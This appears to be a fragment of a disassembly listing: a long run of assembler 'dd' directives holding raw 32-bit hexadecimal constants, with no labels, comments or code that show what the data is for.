		dd 4B8F0D06h, 3C8058A1h, 4DE37251h, 9F0BE681h, 31A50Bh
		dd 64F6ED7Ah, 3D13B422h, 7AB1ED5Ah, 2D546518h, 156750Ch
		dd 314323F5h, 2F27E9FBh, 264F9E14h, 0C5AFA680h,	0A294A7BEh
		dd 8A13B180h, 129CB980h, 0BB472928h, 0D8755402h, 9050C16Dh
		dd 880E8004h, 8776488Bh, 22C7CD05h, 44FE54BFh, 804506DAh
		dd 0F2E26327h, 8F094224h, 4192308h, 0FA445A68h,	0ED55AD8Fh
		dd 0B82B6821h, 6CD15A85h, 0C3047767h, 74C1C8AFh, 70493A38h
		dd 57528FFDh, 3CBF1012h, 4B5F282Eh, 0B1AAF034h,	5DFC6B18h
		dd 0E02F619Fh, 261C0316h, 58394EE7h, 5F56F268h,	0EAA95B5Ah
		dd 6CDCAF4Ah, 91BD0055h, 8148BA20h, 2503C3E5h, 0C6E93283h
		dd 0ACEB8429h, 6851C125h, 0F17810DAh, 0C11BA7C0h, 0A32E914h
		dd 0DF31CAADh, 4020B772h, 2FEB90F9h, 59E49777h,	0DC191CCAh
		dd 2632E640h, 20EAB759h, 45B30808h, 0B616BB64h,	17329BEAh
		dd 94F19EE9h, 0B6A3E87Bh, 2E344174h, 2D3A61E7h,	0ED1500Eh
		dd 4A521EA2h, 45057149h, 488A0007h, 462D1A69h, 0E8D14Eh
		dd 0BBE42104h, 0D8879507h, 0A84FD47Eh, 2CD93DFFh, 71BE109Eh
		dd 0B2123E4Ch, 0CD1341C9h, 208C7A93h, 9201C5ADh, 0E926BA10h
		dd 55364BB3h, 65198E44h, 0C42138C8h, 5891EAD8h,	7128813Fh
		dd 4268EF1h, 22EDF5C2h,	816C03E2h, 40F8BB05h, 0DD0C281Bh
		dd 4DFE26B2h, 0A11033C3h, 18040FBFh, 9E2C4E28h,	16B031CDh
		dd 1C01C13Bh, 19286AF9h, 0EB4B4459h, 6826840Bh,	54D77267h
		dd 3C80818Ah, 90355ECFh, 802E9579h, 6C379492h, 31E2354Bh
		dd 48FDE90Dh, 0ACAC3E26h, 5D1A87B3h, 0D5104EB8h, 4292558h
		dd 0F1A68A05h, 0E99AB1C0h, 0E080BDABh, 3C8B5457h, 644EBD8Eh
		dd 66030242h, 0B130E957h, 88059400h, 9065813h, 996BE9C6h
		dd 0CE1549CCh, 383BC156h, 2CF81D6Fh, 0E989652Bh, 4617292Fh
		dd 0FCAAB2A4h, 0F30C4AE7h, 83688361h, 0C9431951h, 0E8EFC134h
		dd 0DD4FA6E2h, 97FBABB0h, 9CEEE48Bh, 0C57C4897h, 74111736h
		dd 0F542B85Ah, 0C242D2AAh, 0C72F5CDEh, 2809A371h, 666A0972h
		dd 0EAFA61EBh, 9DE5FA22h, 25595EE6h, 53158DDh, 3A925876h
		dd 124341ABh, 610E4260h, 72B1CCC4h, 0D631D904h,	0A6FA295Ah
		dd 0B34E5018h, 0D3F0C383h, 0AB0841C6h, 0D972FB3Ah, 52F0C8B4h
		dd 0C27248B2h, 7E956E20h, 47BD88A8h, 0E550580Eh, 76887F51h
		dd 22419503h, 0C5E72F56h, 0CDF9732Dh, 9F1AECCBh, 55E2B55Ah
		dd 48F1680Eh, 0E95DA1ECh, 0C1A2E8EEh, 61D375C6h, 0E46808DAh
		dd 526D231Eh, 775E1610h, 215A1E4h, 81402A35h, 8684F0F5h
		dd 1FC3C023h, 2D09164Bh, 0C8AFC8E9h, 25B8E0C8h,	77A89Dh
		dd 2F0B73C6h, 0C5E91417h, 227137Bh, 6409E091h, 0DD170FD8h
		dd 3A46D3D8h, 32FD408h,	503D96C5h, 7AB6290Eh, 0B9030882h
		dd 0AE84521Ah, 804E9BF7h, 9E2EEA7Dh, 1C8154Ch, 41B52593h
		dd 1D78F709h, 40D01375h, 0D5C982AAh, 0E2F667Ch,	56C3674Eh
		dd 848B45B3h, 4C9CB3FBh, 0F890C2Ah, 9C67FECBh, 252C2621h
		dd 9EEC5DDh, 4591B850h,	1EE2A53h, 0FFE9EB69h, 7E5DC24Eh
		dd 62F1532Fh, 31453E66h, 63B73047h, 0DB245137h,	1EDEDF90h
		dd 0C14D2607h, 0DAE208E6h, 0B52D4897h, 5A3EF0B8h, 4421FB7Fh
		dd 0B2EF71EBh, 9FFE5529h, 0B6350C68h, 1D77D6EBh, 48020802h
		dd 540127A7h, 40CC8EFh,	8D6B9CE9h, 81367DC5h, 912CC2B6h
		dd 0D28CB17Ah, 68848E74h, 60FA2756h, 43E955B8h,	0FBF5874Ah
		dd 94746FDCh, 0D9E44FE6h, 0C1810F1Bh, 1EA865Fh,	3698F940h
		dd 3F0F95ACh, 0E90CE694h, 0F72D91CCh, 183D3309h, 0F4715D61h
		dd 92F3E978h, 5535040Dh, 0AB10C070h, 90D2788h, 393C24CDh
		dd 94628B8Bh, 80EE7275h, 0F22D64A7h, 0E9030CEFh, 6836BB0Bh
		dd 0D434FC25h, 6E0159B4h, 0F85B24B7h, 63B4A797h, 97D96804h
		dd 4149A69Fh, 35BA5D5Bh, 7EA2BEE0h, 52C2692Fh, 2410CFD7h
		dd 0EF4D13C8h, 5C92BD68h, 5809BC9h, 4BAB5309h, 6B452D02h
		dd 425F7104h, 0F7B56171h, 829D273Ah, 0B1014765h, 0B9E380DCh
		dd 7D30CF28h, 0AEFEB5A9h, 4B267A40h, 7CAB760h, 13A4080Bh
		dd 5FBFAC73h, 5C59E262h, 1E5558D5h, 0D1B27782h,	686CC055h
		dd 2EFE95D8h, 55A0DC4Ch, 803BA320h, 6C620DE1h, 48B54E5Ah
		dd 21EE0804h, 121D5192h, 39FF092Ch, 5021C7Fh, 59CA6857h
		dd 3B730B2Dh, 75E51674h, 0CF25416h, 0D631015h, 0AF2D6813h
		dd 0E9BB0330h, 7B4B0357h, 91A2A9BFh, 9BE3008Dh,	2931D849h
		dd 7168DF0Ah, 39BEA2Fh,	3D64D1A9h, 4BAD2C48h, 0D2A7B222h
		dd 0BD5F41CCh, 985A4ED9h, 5A7FE9A1h, 5051F6DFh,	8E4F34E3h
		dd 1A043BB3h, 0FF72E102h, 0A7C18FB3h, 64DCA9ECh, 235D100Bh
		dd 0D0680AB4h, 0DD69BD65h, 0E98B28CDh, 30D1A1C1h, 62E59EEh
		dd 0AAC6FE8Eh, 3352A740h, 670639B6h, 935506D9h,	14CB530h
		dd 978A24CCh, 0F24414FEh, 4789496h, 1120C9EBh, 0BF50EB42h
		dd 6F9A4187h, 0BF7683B3h, 0D929ABC8h, 0C44B48FAh, 0CB9F88A8h
		dd 422998B0h, 60B0370h,	0F575F454h, 0E3F6D5C4h,	0BB367362h
		dd 6963DD53h, 94998BD1h, 9ED7FD4Bh, 513571DFh, 1F3ABDA8h
		dd 2D662663h, 40505EC2h, 0C5D2E34Bh, 8BAD74F1h,	0E4D56B68h
		dd 0B9D59707h, 0F84593Dh, 0BC7D8AE9h, 2E68C4ACh, 54E3F697h
		dd 580A0764h, 9398F780h, 0BF026ECFh, 3B9A7417h,	7316DD09h
		dd 0AA0BE5ECh, 253E6Ch,	22B057FBh, 4DE913C2h, 5BBBE61Eh
		dd 9DC2F498h, 0E90670D4h, 2DDCA78h, 7F3CDBC7h, 8789015Ah
		dd 7151780h, 0E92E3F31h
		dd 7CADBF22h, 1C562F4Dh, 5C0D358h, 27E93A8Dh, 0F2DC985Dh
		dd 63DD640Fh, 590EC443h, 88180116h, 201F9254h, 3102C457h
		dd 475F1D37h, 498162E9h, 0C9D45486h, 0D9F63D87h, 4F5BE11Fh
		dd 0D109B2C1h, 66BA9380h, 585F9D68h, 362586E2h,	0F655BE62h
		dd 0DFE970A2h, 500A9461h, 0B630FAB0h, 8AEEBDB2h, 5CB67F95h
		dd 3C16579Dh, 2368F0C2h, 965A6C0Ah, 0FD8E9ABCh,	0E958DDD1h
		dd 75BC4E7Bh, 8A21823Ah, 27887E0Bh, 5B941ED6h, 16F009B3h
		dd 5F1A755Eh, 50B283C3h, 0A320A252h, 95B483Ch, 6072B107h
		dd 0B59DC22Bh, 5D6916DBh, 0AB5D996h, 0CF03134Bh, 5140F3Dh
		dd 18773754h, 0C8CD0910h, 0CF005ED2h, 35362E90h, 9852514Fh
		dd 73D5E77Bh, 61FA03Ah,	0CDCA8103h, 62D4A71h, 520134CCh
		dd 0ED0F0C21h, 12C6C0A0h, 0E7EC9A84h, 1442672Ch, 2F7B07C1h
		dd 383144F8h, 48DE4E34h, 4FFF5977h, 2138AFBDh, 0CE5929C0h
		dd 740E69BDh, 0EA752707h, 0ECB9009Bh, 1220AA7Fh, 367ACF68h
		dd 31099BB3h, 115D0B3Ch, 0A57ACEF4h, 3657F2ACh,	253E90C2h
		dd 0E10AD94h, 0B5B3868h, 8C455E37h, 0C20624BBh,	99554E54h
		dd 0B37F3460h, 0F2E35023h, 65E95E4Ah, 60E95582h, 68120D50h
		dd 4CE60D4Fh, 9CF00B2Dh, 52B3F997h, 1049C7FDh, 30E98214h
		dd 0A8E7D521h, 0C296F525h, 5289F6BFh, 0F4BF5D68h, 0F13237Ah
		dd 0D53C5E9h, 584D28E4h, 81482675h, 0C286610Fh,	81EF8945h
		dd 0A949A7h, 0AB404A68h, 61C5C175h, 0B4FBF5C2h,	6039E941h
		dd 8682C84Dh, 64D37A14h, 3DB80F7h, 9F556926h, 0AD023E62h
		dd 750B0D85h, 0E20B396h, 0F74116E5h, 0D944BED9h, 5101533Fh
		dd 36755568h, 5BEB04A8h, 0F0BA706Fh, 92407DC7h,	7F569759h
		dd 0A5F1C572h, 2CC7247Fh, 128A5CCCh, 0BA744572h, 58170102h
		dd 1BC6754Fh, 18FFEE4Ah, 68260CCEh, 5231525h, 805C638h
		dd 0B49219E9h, 4237545Fh, 0CC5AB1E0h, 2D77186Ah, 0B4B1DC13h
		dd 0D048015Ah, 0C5BF7D00h, 5545E946h, 783869Ch,	0D99BDFF3h
		dd 45AFD4FAh, 0CF303550h, 0B2C62769h, 0EDE33DB5h, 346EC90h
		dd 9406DCBDh, 4847D36Eh, 0DD05516Dh, 0BF707A5Ah, 0A8A41CC5h
		dd 0BEAC9A71h, 0EA696F52h, 0B900A2F0h, 739F2BFEh, 0B74B01BBh
		dd 86F592C0h, 0C2EADD82h, 4D44D0E0h, 1491108h, 5A0820EEh
		dd 0AD9F445Dh, 0A1C01657h, 64D71FE7h, 0BF5D30E4h, 2601FDBDh
		dd 97E9536Bh, 0C7F27B86h, 0A5E6E9A0h, 0F45E28CBh, 3559C992h
		dd 0EE3B194Dh, 3F033E46h, 4AA7F43Ah, 0FD31EA66h, 996A8031h
		dd 22AE2FCAh, 89D50FEBh, 0E16FF7BEh, 0B6EB08B4h, 4AE98581h
		dd 9F53B2B0h, 0E550A4F4h, 0C9E0055h, 140EF681h,	0E91229EEh
		dd 0C5C89001h, 71582D68h, 0C4A4C959h, 0D6E95082h, 5A25A31h
		dd 0A247A1C1h, 96F2EE05h, 0C7832850h, 0E364F699h, 0DDABA36h
		dd 5D276A56h, 0B113FD4Fh, 0DA8837C1h, 9D746120h, 67BDF864h
		dd 0EEA39596h, 1BE7ED5Fh, 0F08341E5h, 79A270FDh, 92C3F821h
		dd 3FBF9961h, 888E8793h, 0C7F2561Fh, 45E98A5Bh,	426FD2DEh
		dd 7CA8689Ah, 0A178145Dh, 51003D63h, 140B73B9h,	7D894FE8h
		dd 525F8932h, 0A2DDE8CCh, 165B76FCh, 4B98E048h,	6FAD211Fh
		dd 9CA11E57h, 7C86E342h, 0E2BE2CCBh, 51C8F256h,	2CBEFD29h
		dd 0EB523D59h, 3AE5D466h, 2DE92926h, 5A1FF351h,	33C20587h
		dd 7EFC2DE1h, 7329088Ch, 1EDBD82Ch, 0F10A50Fh, 34BE1F17h
		dd 10A6680Dh, 4C728717h, 0F811C679h, 0E85F7AB8h, 4883EC93h
		dd 9A2A10EBh, 0DF2D07D7h, 0A4909C7Bh, 58C3F053h, 18F9055Bh
		dd 0C4BA5F1Ch, 0AA5C9F4Fh, 1FF46A84h, 0E61E0EF4h, 0E3560154h
		dd 610C412Bh, 822329DBh, 6C91FCE9h, 0AFEF4B9Dh,	0AC886316h
		dd 6E104120h, 1243A4E0h, 6E8F39h, 21565964h, 0F425E91Fh
		dd 354C5216h, 0A0B7E6EFh, 70963DADh, 0F6427781h, 7F15B11h
		dd 0AC181ED7h, 1D680404h, 0DD88BC6Ah, 59F7123Dh, 4FEB934h
		dd 143E7CE6h, 86C810BCh, 2D97BC4Ah, 5B8584A6h, 361720BCh
		dd 7B48A739h, 3EC66B55h, 402872A4h, 1F08065h, 5A31F3E0h
		dd 5F4E4008h, 85EDA87Bh, 6ED72DC8h, 56560195h, 0C60F11Dh
		dd 0FB6043BAh, 5D4A5C9Ch, 78938D44h, 98C23FD7h,	0C194DD4Fh
		dd 22BDC35Ah, 9FD1E909h, 8E3CE969h, 1320F260h, 0D7C3F7BAh
		dd 44518DFAh, 2725C1D3h, 0A5777FD7h, 828B75B2h,	0B4C8650h
		dd 2F3F9CDEh, 13F67AE3h, 0BA5EE004h, 1EA95C44h,	10DFE14Bh
		dd 5F38178h, 0CC5F4DCh,	14F6F829h, 4A6D7254h, 5D7109AEh
		dd 8025D8D7h, 802C5284h, 335A8268h, 0A0DC0BF8h,	0BCF6C980h
		dd 0C23E0841h, 0F057C7AAh, 71043994h, 11E31C2Dh, 0B4ECC0A4h
		dd 0EC098051h, 7FC4FEEEh, 2F4CFF78h, 57CA25C3h,	7D970B66h
		dd 6695571Ch, 178E2D28h, 5C136047h, 0ED2750E2h,	9CF4858Bh
		dd 9B0348DAh, 0BA74A866h, 0D43807FBh, 0F2814Fh,	520B6A42h
		dd 4C5A5B30h, 0F79614CDh, 4895B02Fh, 432FF204h,	1AE808E9h
		dd 0D658A85Fh, 5B9DBC00h, 0A00125C0h, 0C14D53D5h, 3098E21Bh
		dd 0EA6F60AEh, 0A2608C76h, 3413EE0Ch, 0A9694FAAh, 5A0840A7h
		dd 40696EBEh, 95CB595Bh, 0FDB7BAD7h, 203BF651h,	5121973Bh
		dd 0D2EC73E7h, 0CCD0E361h, 9C6C99E9h, 16A3F245h, 0B131FA79h
		dd 0BAE3A5Ch, 35C2307Bh, 704C7C75h, 44D03ADCh, 0F968C2C1h
		dd 18987573h, 0B49F3DEAh, 515B07FAh, 908D668h, 95DECE77h
		dd 0C080A270h, 170B4557h, 85CB0113h, 874E7BE1h,	6310ECD1h
		dd 94A44B68h, 0B0F3AFB2h, 91D87489h, 0CB06F595h, 0DA80C37Bh
		dd 0B12D6BDFh, 8F15D567h, 55A4A7BCh, 450935E6h,	0C2275356h
		dd 0F5867D74h, 4769797Dh, 83715669h, 2E8C09Eh, 293425B0h
		dd 4B310D98h, 0ADC76F28h, 955D39F8h, 8027F6Ah, 19D7295Bh
		dd 47F27200h, 150AAA8Bh, 0C8067868h, 79674685h,	4CCD3F92h
		dd 0C3810C21h, 0A2A04535h, 0EF27B9Eh, 6C47D505h, 7185BF63h
		dd 55728EBAh, 28F82EAEh, 4A542910h, 0B9B528BEh,	0D1AB20Fh
		dd 0E1C9C01Bh, 0BD6B0A21h, 1F02C5F2h, 0E9318476h, 5761CA88h
		dd 5D2AED30h, 0F6065B5h, 532525C3h, 40C1E949h, 0DB9F5F08h
		dd 0C4DD09F6h, 30629475h, 0C117E1C5h, 93274C50h, 0B60562Eh
		dd 13D9E889h, 0D8194867h, 0D4E9350Eh, 3BC0F03Fh, 6FDB5D14h
		dd 5A4709EFh, 92220401h, 0AA7112ABh, 0DF6CB869h, 4C705B10h
		dd 0CF91666h, 2067049h,	0F74A107Dh, 1A15A3C8h, 0CC1F173h
		dd 0FA0F22F0h, 5C30A435h, 81558250h, 453248CDh,	52D7283Ah
		dd 1BE06805h, 0D4007CCAh, 622B71F2h, 0FB894B57h, 7B624729h
		dd 432BEA02h, 527C1C1Fh, 0FCBCD525h, 6BE479BDh,	5A345590h
		dd 851F997h, 5E1F551Eh,	0D56BBB4Bh, 0C2004814h,	2D795D19h
		dd 0D757DA01h, 80A59442h, 982C3131h, 0F74DD998h, 0E3281D17h
		dd 0A89A62CBh, 0B6C3B87Ch, 0D0F3F10Fh, 78E7A234h, 16BF5D06h
		dd 0C9DC2D27h, 0A82B16BDh, 0A2A367AFh, 55593CACh, 5055253Ch
		dd 0A3875EC5h, 265B7C09h, 0D0291209h, 68FB0CDEh, 0E70C7176h
		dd 517A6E0Fh, 4DCA445Fh, 0E8D8FD8h, 4B744117h, 6914E922h
		dd 3A608476h, 9A6B8D3Bh, 80C69DE5h, 63C2832Dh, 4316A855h
		dd 162D9819h, 0C96491h,	7F5FF742h, 0E92C73B6h, 49CF8F66h
		dd 69ECC26Bh, 8831C7CCh, 0FD5BE56Ch, 3B1DC505h,	84DFB3EEh
		dd 0B314EC9Eh, 5E1BA85Bh, 8B5C6E8h, 300E54C7h, 0C664E5D7h
		dd 6C646E8h, 0F50547A3h, 0A1C82182h, 3F4CD1BAh,	83883220h
		dd 0F726C380h, 25AFD195h
		dd 588D83E1h, 0FE5680B4h, 0F50980CDh, 584E04A5h, 0DBE841CDh
		dd 3A11E9C1h, 19F989C5h, 0F533B0C7h, 0BFB15251h, 5EF0A78Dh
		dd 0EDA9CBD6h, 8B2423DAh, 2DAF41Ch, 485C65DFh, 4C50E66Fh
		dd 0DA0839F7h, 4E3031E9h, 3B296AF3h, 0E3025932h, 264A02F7h
		dd 214257h, 6D8872EFh, 35E93863h, 3CDFD9D4h, 0B098565Bh
		dd 0C5BD122Ah, 2E305170h, 4994A045h, 89B62D25h,	56C05BF6h
		dd 134FCEBEh, 0B8090C63h, 8EBD7374h, 740CF6FCh,	18080607h
		dd 0A2646EE9h, 19046853h, 5B181455h, 43D88CABh,	0A76130E3h
		dd 4AF4B74Ah, 3C6F4164h, 70F804B5h, 4D910EC3h, 8D61CA6Dh
		dd 5BA568F6h, 50510B66h, 1F7465B4h, 0A0EC200Bh,	0DB7534Bh
		dd 0E9FC0B30h, 0E4F99F6Fh, 47B75592h, 255E351Ch, 0C864BAFDh
		dd 8A42BF62h, 0C258FBFFh, 3CD45CE9h, 6EBD5500h,	0B75E7A46h
		dd 9482EFD4h, 0E1178F3Ch, 6801F5B8h, 0ACEC7F18h, 5D095389h
		dd 585DD86Ah, 4993F44Bh, 0EE0E3A4Eh, 5C618101h,	2EB24C2Ah
		dd 54152FE4h, 0E78B7393h, 79AD4F8Bh, 5B84C6FFh,	0C6B9A42Bh
		dd 0C7CCB5h, 5A66F708h,	0E907E7C0h, 0DA961727h,	2ABE0CEAh
		dd 770C7D18h, 3B5BB5FAh, 0B080D50h, 31316568h, 28E47DF6h
		dd 0B50B922Dh, 6B36E190h, 0DF838925h, 0FA25DFCDh, 0C930F6D0h
		dd 28E65810h, 9EF8517Dh, 95257597h, 5CCCAA4Dh, 503D40CBh
		dd 477BB87Dh, 0FF340D62h, 0A7B2C716h, 52F647C0h, 0D9AB0828h
		dd 5BFED4Eh, 0B857E99Ch, 0F90117EFh, 0A4BD0117h, 0B0DE0C6Bh
		dd 0D73C8B8Bh, 0AA963A65h, 880E7CB9h, 0EF005AF5h, 0BCF78059h
		dd 0CF8283Eh, 2F589768h, 0F2A95AAEh, 755F78BDh,	4CBB73CCh
		dd 3B3E2165h, 0E837ED92h, 87CDCFC3h, 0D1D335AAh, 61A5C36h
		dd 1993A2F4h, 0D1DB49C6h, 80888260h, 6716A768h,	6FC01F91h
		dd 5D6E985Dh, 31C495E0h, 7F560958h, 71EC7071h, 914E2AE9h
		dd 4DFEBDD7h, 0C88C894Fh, 2C61C148h, 0C30F362h,	0DE97BFFAh
		dd 52BB5B4Eh, 0D105AEB6h, 98FBAF68h, 81979AD0h,	52E0D30Bh
		dd 9140A93Dh, 7D479D53h, 71117030h, 0EA284BD7h,	81AF684h
		dd 6018842Fh, 0C30032EDh, 87760609h, 659EDE89h,	0A01720BCh
		dd 276FD5F9h, 0D2D10312h, 81AA0435h, 0A8852A78h, 0C67333D1h
		dd 2BE10814h, 20B4E80h,	9453E85Ch, 759A2758h, 0EE728CA4h
		dd 33449B9h, 43F10807h,	0E7909C28h, 273E8F30h, 276807E6h
		dd 95C97444h, 9FA12C36h, 0B04CF84Bh, 28415122h,	289135Eh
		dd 38F27BE2h, 808D929h,	0D3EF9A3Ah, 888776A9h, 4340A8CEh
		dd 14487729h, 2F302B68h, 720A8683h, 0A0E955F8h,	153785Eh
		dd 0B2CC87FEh, 234B4A71h, 6A5519B2h, 3FF7601Bh,	285A8096h
		dd 50EDEE4Ch, 0B764C69Bh, 13AE7906h, 123CF6E0h,	651EF68Fh
		dd 0BD710065h, 0FF8A760Dh, 821CB17Eh, 8E5220E6h, 0E9E74965h
		dd 535F0841h, 9EB5F36Ah, 0E9758025h, 1A9C6285h,	4CD90149h
		dd 0AE5B0805h, 0D3FFDF3Ch, 7C00EC0Ch, 7776C988h, 44076043h
		dd 197FFC34h, 0F89C97h,	780AB951h, 0BEE9414Ah, 0F76E899Dh
		dd 0D2AFFD65h, 14A2FC0h, 0D884B025h, 7D4CB899h,	2368C027h
		dd 90290345h, 0F8C525B3h, 856C7DFh, 5F126FE2h, 271D61BEh
		dd 0B9810507h, 0BD033D92h, 67F01BE8h, 0CEB08190h, 952CD17Eh
		dd 7D27E6B0h, 0F8E99782h, 0C3018BE8h, 4CFDA49Fh, 0F9C100F8h
		dd 61968653h, 2CD06A1Bh, 0C1D0C7E9h, 0C368598Dh, 6FB63B47h
		dd 95128B04h, 217C015h,	126F02Dh, 0F10C8C51h, 2EBA2C32h
		dd 1E153C6Eh, 751DCB4Ah, 8BDC17DDh, 98DED028h, 7FCDE962h
		dd 7D66B009h, 68C80F04h, 0E6AC6FD3h, 7F1565C6h,	5367C40Bh
		dd 0B762F0CDh, 90FDBC89h, 971FE990h, 0F280A301h, 6FEACD96h
		dd 5C7284B8h, 2C277BABh, 13FA9FEh, 0D4F628CCh, 0CC7C3CE9h
		dd 9E88041Eh, 9D0B4DD8h, 68E27E12h, 2249F14Ah, 0E266252Eh
		dd 0EE54C0F0h, 7E69004h, 1F2F7F21h, 165D9931h, 328D36Fh
		dd 15857495h, 38F08999h, 0A8A076Ch, 0F7F14B5Ch,	3ECD1F2Bh
		dd 0AC09FE2Eh, 17DBD2C1h, 0FEEE18E9h, 9AB326DCh, 355D02EAh
		dd 0D773068h, 2A86FAC0h, 29203914h, 0E6250096h,	682B4C19h
		dd 0F01EA19Eh, 2645D5EAh, 0BF0B2318h, 761800D5h, 71BE5645h
		dd 509D421Ah, 0AB923D20h, 0EE31D393h, 4BBC3B88h, 0DCE4E546h
		dd 169F16BDh, 4B3B9805h, 79D8BE88h, 2DA590D8h, 9BDB1503h
		dd 9697A420h, 79D20FA0h, 0E3C07F49h, 6B8366D0h,	0B606F3ECh
		dd 0E9201A3Ch, 97E1A6DEh, 0E9703354h, 28416035h, 5168E886h
		dd 93A6184Bh, 5208E909h, 8185385Fh, 72D802F1h, 0CB897FF7h
		dd 625CACE1h, 281A016Ah, 0E831701Eh, 0BD7DC360h, 27627C56h
		dd 0BC18D535h, 0A09530D9h, 0A378B80Dh, 0AC295E7Bh, 30084165h
		dd 0BD80F456h, 0D91412F9h, 99AA810h, 8D64040Bh,	0FE0004FEh
		dd 5A1B123Fh, 75C2E0F5h, 17C0B1Fh, 82024A6h, 0D7D2E92Fh
		dd 0B138E824h, 0B0D11139h, 89292C65h, 9DB8582Ah, 16ED0788h
		dd 0EB7CD0B8h, 932C3B87h, 0A802F61Bh, 5D4DAB14h, 80D274Ah
		dd 8014041Ch, 0C71927CCh, 0D7E9790Bh, 29016614h, 0A5C072E0h
		dd 42D514E2h, 0B7D657F4h, 97EF859h, 47DD5B47h, 5E962DCEh
		dd 0B0697BFh, 997F9D72h, 0B83EBEB3h, 60EA4E0Bh,	92EE962h
		dd 31FF3AE1h, 303964B6h, 0BB99992Fh, 89957128h,	0F0D1573Ch
		dd 61E1D162h, 3663F62Fh, 9E95628h, 6F1320CFh, 5829E980h
		dd 0F72671FAh, 841FDCD2h, 174EC05h, 3D9BB0AFh, 0F84A8117h
		dd 522E2FFCh, 5FBA1011h, 0BD5D20F4h, 0D6626B79h, 52B9006Dh
		dd 614EAE47h, 2C641FA1h, 2E256F12h, 0BAD07412h,	0FD4805B9h
		dd 8CEEE2B7h, 0AFB5D193h, 0F412DBDBh, 9161FF6Dh, 0CC2E3C3Dh
		dd 2A9A6D5Dh, 2F884EBDh, 3B75C536h, 0D2F813C2h,	31665362h
		dd 63837F3Dh, 963378D8h, 0F251106Ah, 0D78A4AF7h, 0C9B57416h
		dd 0F5D607F3h, 294FCBCCh, 4EEBA8C8h, 2DA755h, 0DD685057h
		dd 964EF2Dh, 6BF3E958h,	0FFA66AF5h, 0CACA253Ah,	55C8C5C1h
		dd 0BBB3BE87h, 16D5558Bh, 23F73DF6h, 0BBBD7D00h, 0E9143D38h
		dd 25707E32h, 9801D5E6h, 2037B54Eh, 0DC44DD4h, 4FC4DE01h
		dd 0C7C6E720h, 3FD05806h, 0BD1D3912h, 778A8C65h, 67F69F5Bh
		dd 72AE0B72h, 3EC704D4h, 0EA36DF67h, 0FFE974C8h, 0CA75163Ah
		dd 0DF15F67h, 4FD058F0h, 0F652F176h, 3968F9C0h,	3C787452h
		dd 3F8B921Bh, 0EF3012AAh, 0D939F42h, 9A9D6091h,	9457974Ch
		dd 0F5FABD21h, 70536816h, 5FD3573Ch, 256BF297h,	3C96F556h
		dd 326239D4h, 75552E2Dh, 549C3D3h, 55F42DF9h, 1C26163Ch
		dd 800BC249h, 881EB0F8h, 0A23D53C2h, 967795C4h,	5A5096FEh
		dd 7449E86Eh, 0D0BF4EFEh, 0D3BF8559h, 1DB1FC5Ah, 10FAE66Fh
		dd 0BA4B51A5h, 0DAC678Dh, 192A0F51h, 5B4ABD2h, 0C46A5AE9h
		dd 69E2EF04h, 14CBAFA4h, 4BEDE90Bh, 0C2F768D5h,	6BCCB5CBh
		dd 0D400B54Fh, 0FA685D58h, 96469D3Eh, 44537624h, 0B9BB16BBh
		dd 534C15E6h, 4385EE1Eh, 0C6296F3Bh, 48087C41h,	0BF4FBA66h
		dd 0BFE490BCh, 570482E3h, 0AA0799E9h, 6359A431h, 0BEF20E05h
		dd 586A5E01h, 5B5FF448h, 0C902A591h, 0DFF23154h, 460DBFE0h
		dd 2934F9Ch, 12A6F100h,	124A1574h, 6006D268h, 200E2747h
		dd 3BFF544Ch, 0BAF62470h, 502C200h, 0ED0156DDh,	0E9111CB5h
		dd 0D071C9FAh, 222C39B6h, 20131262h, 0D4B53664h, 9E0D0FC9h
		dd 0BD43550Fh, 87F54EC6h, 2C8BD2FAh, 4B4B277h, 37AADEFFh
		dd 0F7BF9105h, 2047F551h
		dd 1D06C713h, 0FEDAE956h, 287BFE7Ah, 2FB50A7Fh,	0B712338Fh
		dd 32472B61h, 8C09DFB9h, 1CC6EE69h, 0C99EC680h,	1996B2EEh
		dd 0F525B525h, 408D45C0h, 2078669Fh, 520E4B29h,	6E51CE88h
		dd 59ECA1F5h, 0B03B535Ah, 33534942h, 7B016BBh, 4B91090Ch
		dd 280D1E2Ch, 0B0E652D0h, 98266800h, 0C0721B3Eh, 1D27CEE4h
		dd 0AC29712Eh, 120821D3h, 0B7A0AC58h, 0B95041D4h, 0E528EB4Bh
		dd 22054A36h, 9172D31Ch, 5197A378h, 0C8123C86h,	7E49218Ah
		dd 171A6345h, 0A42D5A58h, 3604F929h, 83468042h,	1A056AC2h
		dd 5EF5295Dh, 0DFD7F3FEh, 0F64EFD25h, 0C2F85D4Ah, 7F5B66A1h
		dd 0FAD7F4ADh, 386F6099h, 9D2FE905h, 91B35572h,	3F30AFD9h
		dd 2AC57BD1h, 0D09CF205h, 214F30E4h, 95152268h,	0BF57AA30h
		dd 19E86D4Fh, 0AD4F7848h, 42E9C471h, 1FC9C3C8h,	6CEE3530h
		dd 4C030032h, 0CF894A1Bh, 9070429Eh, 5008177Bh,	57A53121h
		dd 81D05464h, 6B5DD978h, 2D7D6C44h, 4E5B3500h, 93EA560Ah
		dd 577A2804h, 67C0C721h, 3F4BF7CFh, 0BE83488Eh,	7E2C633Dh
		dd 5DDBE6E0h, 0C112AF1Dh, 0EECB059Ch, 37C18603h, 46BE24FBh
		dd 11AB6898h, 75C62D2Ah, 970B7009h, 5F7CE057h, 0C030B953h
		dd 2FC54B9Ah, 4E0CBB02h, 0DF31653Dh, 449B0F9h, 0A8EA0797h
		dd 0EC83E44Fh, 0FE9B0403h, 0EB472418h, 7D332D07h, 54C00A45h
		dd 48E24F5Ch, 0DF09090Bh, 0F0096664h, 975978DFh, 331847C5h
		dd 827DC2DDh, 6F3548F5h, 5AFD82A9h, 5BD1F4C1h, 1378CA04h
		dd 0BBB895B0h, 0A891AE97h, 0A23F3658h, 18E4C184h, 0EFF04EA0h
		dd 1C0E1A92h, 0E0030C42h, 0D2050C84h, 2B5D0944h, 0FE345CA9h
		dd 0E90B023Ah, 1BFA715Eh, 55B2240Fh, 0E2956BEAh, 0C169C074h
		dd 3FDFB2E1h, 92E4A0CBh, 0B0A2F0F2h, 6B9866F0h,	878DD94Ah
		dd 0F3E8C6E1h, 4A2025E9h, 7640B2F5h, 0F199BFACh, 6EC57F8Eh
		dd 0EB2B7CA5h, 0BD2A202Dh, 0B8D1D627h, 993B5497h, 58713802h
		dd 5F2E30BFh, 785662E1h, 99E909Dh, 78B21783h, 0D57FA1D5h
		dd 0B0472B6Dh, 0ACB23E0h, 18E919BAh, 0C2B84E6Ch, 82D72C89h
		dd 575AF07Dh, 6927F314h, 767D37Ch, 8671A668h, 0FA971189h
		dd 0C24B5E31h, 0D0F15BD6h, 31F20DB7h, 0FC96577Ah, 0E991D69Fh
